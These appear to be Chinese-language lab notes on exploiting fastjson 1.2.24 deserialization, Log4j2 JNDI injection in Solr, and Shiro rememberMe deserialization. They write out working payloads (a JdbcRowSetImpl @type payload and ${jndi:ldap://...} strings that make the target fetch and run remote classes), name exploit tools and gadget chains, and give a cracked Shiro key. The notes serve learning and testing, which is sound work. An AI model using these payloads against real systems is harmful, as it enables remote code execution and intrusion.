fastjson
发正常请求,看反应
专门发错,看异常,这个五个字段是Spring Boot默认的500错误返回格式
重点字段:message":"syntax error"
不同的 JSON 库,解析失败时说法不一样:
库 | 典型报错文字 |
fastjson | syntax error |
Jackson | Unexpected end-of-input |
Gson | Expected BEGIN_OBJECT but was ... |
这个地方处理了我发送的json
dnslog查询
流程总结
1. POST 发送 JSON 字符串
2. @RequestBody触发 Spring,交给 Fastjson 执行:JSON.parseObject(json串, User.class)(反序列化:串→User 对象)
3. 解析成功:进入接口方法,return user 对象;Spring 再用 Fastjson 序列化(对象→JSON 串)返回给你
4. 解析失败:parseObject 直接抛异常,不走接口内部代码,直接返回 500 报错
反连接
生成了
总体流程
① 识别 fastjson 1.2.24 / Spring Boot / JDK 1.8.0_102
← 错误体五字段 + "syntax error" 措辞
② 找入口 POST / 的 JSON body
← @RequestBody → JSON.parseObject(串, 类)
← A/B 对照:发 hello 回 hello
③ 验证 {"b":{"@type":"java.net.Inet4Address","val":"dnslog"}}
← DNSLog 响 = @type 被采纳
← 必须嵌套,顶层会 type not match
④ 利用 {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://工具/token","autoCommit":true}}
← 返回 500 但命令已执行
⑤ 取证 /tmp/pwned 存在
工具
JNDI-Injection-Exploit
建立java8环境:
用法
跑完打印几条 ldap://IP:1389/xxx,粘进 payload 即可。
payload:
原理:起 LDAP+RMI+HTTP 三个服务。目标 lookup 时回一个引用:「去我这儿下载 class」。目标下载 → 加载 → 执行。
便利:一条命令干掉「写恶意类 + javac 编译 + 起 HTTP + 起 LDAP」四件事。
限制:只走远程加载 class,JDK ≥ 8u191 失效。
返回500,但是命令执行了
Log4j2
通过标题百度了一下Solr
然后就可以知道可Log4j有关,然后用了yakit扫描模块,没扫出来,参数位置不对
Solr特点
/solr/admin/cores 是什么 这是 Solr 的 Core Admin API——内置功能,任何 Solr 都有这个路径,不需要开发者写一行代码。 action 是它的标准参数,官方文档里明确列出了支持哪些值(CREATE、RELOAD、STATUS…)。
试错:这个错误被记录到日志
dnslog查询
这里日志里的前缀没了,说明log4j2把它解析了,但 lookup 没成功
反连接
用yakit生成payload,然后用
流程
① 识别 Solr 8.11.0 / JDK 1.8.0_102 / 无认证 ← 三个问题,Ctrl+F 定位
② 找入口 action 参数 → 异常信息 → ERROR 日志 ← 打框架,不打代码
③ 验证 ${jndi:ldap://dnslog/a} → DNSLog 响 ← 只证明"被解析了"
④ 利用 ${jndi:ldap://工具地址/token} → RCE
⑤ 取证 /tmp/solr 存在 ← 唯一算数的证据
shiro
Shiro 的 rememberMe 是框架级的,CookieRememberMeManager 对所有路径都生效。
这出现 rememberMe=deleteMe ⇒ 100% 是 Shiro(这是它解密失败后主动清 Cookie 的行为,不是业务代码写的)。
这里再用yakit扫一下
Yakit Shiro 扫描原理
指纹识别:发包检测, Shiro特征:返回rememberMe=deleteMe 密钥爆破:内置Shiro密钥字典,逐个尝试解密 生成Payload:针对每个可用密钥,调用ysoserial生成不同利用链的序列化对象 Shiro加密:随机IV + AES-CBC加密序列化数据,IV+密文Base64编码,组成rememberMe Cookie 发包验证:发送带Cookie请求,通过DNSlog/OOB外带判断是否执行成功 输出结果:可用密钥、利用链、Payload 常用利用链极简汇总
利用链
CCK1(CommonsCollectionsK1) 依赖:commons-collections 原理:AnnotationInvocationHandler代理,链式调用Transformer,最终Runtime.exec执行命令 特点:Shiro靶场常用;
CC包类被黑名单拦截则失效 CC2(CommonsCollections2) 依赖:commons-collections4 原理:PriorityQueue反序列化,触发Transformer链,TemplatesImpl加载恶意字节码 特点:vulhub Shiro550经典链;
依赖CC4包 CB192NoCC(CommonsBeanutils1.9.2 NoCC) 依赖:commons-beanutils,无需commons-collections 原理:BeanComparator比较时调用TemplatesImpl.newTransformer,加载恶意字节码 特点:无Transformer数组,规避Shiro原生数组限制;
CC黑名单环境首选 Jdk7u21 依赖:无任何第三方jar,纯JDK 原理:AnnotationInvocationHandler代理配合TemplatesImpl,反序列化加载恶意字节码 特点:兜底链,CC/Beanutils包被删除时尝试;对JDK版本有要求
yakit直接找出了密钥kPH+bIxk5D2deZiIxcaaaA== 接着使用工具